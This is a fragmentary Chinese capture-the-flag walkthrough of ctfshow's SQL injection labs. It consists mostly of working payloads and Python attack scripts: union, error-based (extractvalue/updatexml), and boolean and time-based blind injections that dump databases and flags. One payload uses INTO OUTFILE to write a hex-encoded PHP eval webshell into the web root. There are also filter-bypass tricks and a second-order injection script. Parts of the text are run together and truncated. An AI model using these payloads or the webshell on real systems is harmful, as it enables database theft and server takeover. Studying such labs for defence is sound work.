$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
if($row) { echo'<font color= "#FFFF00">'; echo'You are in.... Use outfile......'; echo"<br>"; echo"</font>"; } else { echo'<font color= "#FFFF00">'; echo'You have an error in your SQL syntax'; //print_r(mysql_error()); echo"</font>"; } } else { echo"Please input the ID as parameter with numeric value";}
?id=1')) union select 1,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,3 into outfile 'D:\\websafe\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\haha.php'--+
import requests import time if __name__ == '__main__' : url = "https://3776cd02-a7dd-404a-95bc-c1fc7acc3141.challenge.ctf.show/?id=1'%20and%20" result = '' i = 0 while True: i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) // 2 payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,sleep(3))%23' #payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,sleep(2))%23' #payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagugs"),{i},1))>{mid},1,sleep(2))%23' # payload = f'if(ascii(substr((select group_concat(flag43s) from ctfshow.flagugs),{i},1))>{mid},1,sleep(2))%23' # print(payload) stime=time.time() r = requests.get(url=url + payload) iftime.time()-stime<2: low = mid + 1 else: high = mid if low != 32: result += chr(low) else: break print(result)
太费时了,懒得跑完,溜了
web526 -时间盲注–Less-10
这题和上一题类似 用
1
?id=1" andif(1=1,sleep(2),1)--+
测出是双引号闭合
在把上面的脚本改一下单引号闭合改为双引号闭合即可
同样懒得测
web527 -POST联合注入–Less-11
这个和get一样
1 2 3 4 5 6 7 8 9 10 11 12
爆库 passwd=1' union select1,group_concat(schema_name) from information_schema.schemata#&submit=Submit&uname=1 //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test 爆表 passwd=1' union select1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'#&submit=Submit&uname=1 //flagugsd 爆字段 passwd=1' union select1,group_concat(column_name) from information_schema.columns where table_name='flagugsd'#&submit=Submit&uname=1 //id,flag43s 爆值 passwd=1' union select1,group_concat(id,0x7e,flag43s) from ctfshow.flagugsd#&submit=Submit&uname=1 //1~ctfshow{f359ec9f-f0ec-43bf-958f-48a88293063e}
web528 -POST联合注入–Less-12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
通过报错知道闭合为") passwd=1&submit=Submit&uname=e" 回显位为两个 爆库 passwd=1&submit=Submit&uname=1") union select 1,group_concat(schema_name) from information_schema.schemata# //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test 爆表 passwd=1&submit=Submit&uname=1") unionselect1,group_concat(table_name) from information_schema.tableswhere table_schema='ctfshow'# //flagugsds 爆字段 passwd=1&submit=Submit&uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsds'# //id,flag43as 爆值 passwd=1&submit=Submit&uname=1") unionselect1,group_concat(id,0x7e,flag43as) from ctfshow.flagugsds# //1~ctfshow{22f52013-fb0b-40a3-b33f-0ab43b1821ed}
爆库 uname=-1') union select1,(extractvalue(1,concat(0x7e,(selectgroup_concat(schema_name) from information_schema.schemata))))--+&passwd=123456&submit=Submit //~ctfshow,ctftraining,information 爆表 uname=-1') union select1,(extractvalue(1,concat(0x7e,(selectgroup_concat(table_name) from information_schema.tables where table_schema='ctfshow'))))--+&passwd=123456&submit=Submit //flag 爆字段 uname=-1') union select1,(extractvalue(1,concat(0x7e,(selectgroup_concat(column_name) from information_schema.columns where table_name='flag'))))--+&passwd=123456&submit=Submit //id,flag4 爆值 uname=-1') union select1,(extractvalue(1,concat(0x7e,(selectgroup_concat(id,0x7e,flag4) from ctfshow.flag))))--+&passwd=123456&submit=Submit //ctfshow{94c24c86-5324-4cf6-91 可以看出就爆出了一半 这里可以倒着读 uname=-1') union select1,(extractvalue(1,concat(0x7e,(selectreverse(group_concat(id,0x7e,flag4)) from ctfshow.flag))))--+&passwd=123456&submit=Submit //}b1ae427fbf72-1019-6fc4-4235-68 从右向左为正序所以另一半为86-5324-4cf6-9101-27fbf724ea1b} 也可以用substr来看后面的内容 uname=-1') union select1,(extractvalue(1,concat(0x7e,substr((selectgroup_concat(id,0x7e,flag4) from ctfshow.flag),20))))--+&passwd=123456&submit=Submit
爆库 uname=1') andupdatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&passwd=pass&submit=Submit //ctfshow,ctftraining,information 爆表 uname=1') andupdatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),1,31),0x7e),1)#&passwd=pass&submit=Submit //flag 爆字段 uname=1') andupdatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,31),0x7e),1)#&passwd=pass&submit=Submit //id,flag4 爆值 uname=1') andupdatexml(1,concat(0x7e,substr((select group_concat(id,0x7e,flag4) from ctfshow.flag),1,31),0x7e),1)#&passwd=pass&submit=Submit //ctfshow{15d64d74-0f35-46cc-a0 不全,调整下substr的值 uname=1') andupdatexml(1,concat(0x7e,substr((select group_concat(id,0x7e,flag4) from ctfshow.flag),20,40),0x7e),1)#&passwd=pass&submit=Submit //0f35-46cc-a0dd-94f67ae5c67b}
web530 -报错注入–Less-14
payload
1 2 3
passwd=1&submit=Submit&uname=1" 报错 You have an errorin your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1" LIMIT 0,1' at line 1
双引号闭合 其他操作同上题
web531 -布尔盲注POST–Less-15
单引号闭合 用万能密码1’ and 1#不太行啊 要用admin’ and 1#就可以成功 把上面的GET型的布尔盲注脚本改一下
// take the variables if(isset($_POST['uname']) && isset($_POST['passwd']))
{ //making sure uname is not injectable $uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname."\n"); fwrite($fp,'New Password:'.$passwd."\n"); fclose($fp);
// connectivity @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
爆库 passwd=admin' and (extractvalue(1,concat(0x5c,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x5c)))# &submit=Submit&uname=admin //ctfshow,ctftraining,information 爆表 passwd=admin'and (extractvalue(1,concat(0x5c,substr((select group_concat(table_name) from information_schema.tableswhere table_schema='ctfshow'),1,31),0x5c)))# &submit=Submit&uname=admin //flag 爆字段 passwd=admin' and (extractvalue(1,concat(0x5c,substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),1,31),0x5c)))# &submit=Submit&uname=admin //id,flag4 爆值 passwd=admin'and (extractvalue(1,concat(0x5c,substr((select group_concat(id,0x7e,flag4) from ctfshow.flag),1,31),0x5c)))# &submit=Submit&uname=admin //1~ctfshow{2bb496a0-6eef-42d6-ba passwd=admin' and (extractvalue(1,concat(0x5c,substr((select group_concat(id,0x7e,flag4) from ctfshow.flag),30,50),0x5c)))# &submit=Submit&uname=admin //baf3-fb81b33a66b8}
admin" and updatexml (1,concat(0x5c,substr((select group_concat(flag4) from ctfshow.flag),30,70),0x5c),1)# YWRtaW4iIGFuZCB1cGRhdGV4bWwgKDEsY29uY2F0KDB4NWMsc3Vic3RyKChzZWxlY3QgZ3JvdXBfY29uY2F0KGZsYWc0KSBmcm9tIGN0ZnNob3cuZmxhZyksMzAsNzApLDB4NWMpLDEpIw==
爆回显位 ?id=-1' union select1,2,3and'1'' 爆库 ?id=-1'unionselect1,(select group_concat(schema_name) from information_schema.schemata),3and'1'' //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test 爆表 ?id=-1'unionselect1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3and'1'' //flag 爆字段 ?id=-1'unionselect1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3and'1'' //id,flag4 爆值 ?id=-1'unionselect1,(select group_concat(flag4) from ctfshow.flag),3and'1'' //ctfshow{c7e591c1-ebf4-456a-940c-8572707647bf}
flag = "" #************************************************************************************************************************************************************* #--------查库名 #sql="select group_concat(schema_name) from information_schema.schemata" #--------查表 #sql= "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'" #--------查字段 #sql= "select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'" #--------查flag sql= "select flag4 from ctfshow.flag" #************************************************************************************************************************************************************* payload = "admin' and if(ascii(substr(({}),{},1))>'{}',sleep(0.4),0)#" i = 0
session = requests.session() for i in range(1,666): head = 32 tail = 127
while head < tail: mid = (head+tail) >> 1 url_register = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/login_create.php" data = { 'username' : payload.format(sql,i,mid), 'password' : '22', 're_password' : '22', 'submit' : 'Register' } res = session.post(url=url_register,data=data)
url_login = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/login.php" data = { 'login_user' : payload.format(sql,i,mid), 'login_password' : '22', 'mysubmit' : 'Login' } res = session.post(url=url_login, data=data)
url_change = "http://08fa48c9-0e53-4eec-8fa2-01e851961687.challenge.ctf.show:8080/pass_change.php" data = { 'current_password' : '22', 'password' : '1', 're_password' : '1', 'submit' : 'Reset' } start = time.time() res = session.post(url=url_change, data=data) end = time.time() print(end - start) if end-start > 0.4 and end-start < 1: head = mid + 1 else: tail = mid if head != 32: print('[*] 开始盲注第{}位'.format(i)) flag += chr(tail) print(flag) else: print('[*] Complete! Result Is >>> {}'.format(flag)) break
web541 -过滤and和or-GET-Less-25
简单的,通过双写绕过即可
1 2 3 4 5 6 7 8
爆库 ?id=-1' union select 1,group_concat(schema_name),3 from infoorrmation_schema.schemata--+ 爆表 ?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='ctfshow'--+ 爆字段 ?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='flags'--+ 爆值 ?id=-1' union select 1,group_concat(id,0x7e,flag4s),3 from ctfshow.flags--+
ifhead != 32: result += chr(head) else: break print(result)
web545 -再过滤select和union-Less-27
本题在之前的基础上再过滤了union和select
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union/s',"", $id); //Strip out union $id= preg_replace('/select/s',"", $id); //Strip out select $id= preg_replace('/UNION/s',"", $id); //Strip out UNION $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT $id= preg_replace('/Union/s',"", $id); //Strip out Union $id= preg_replace('/Select/s',"", $id); //Strip out select return $id; }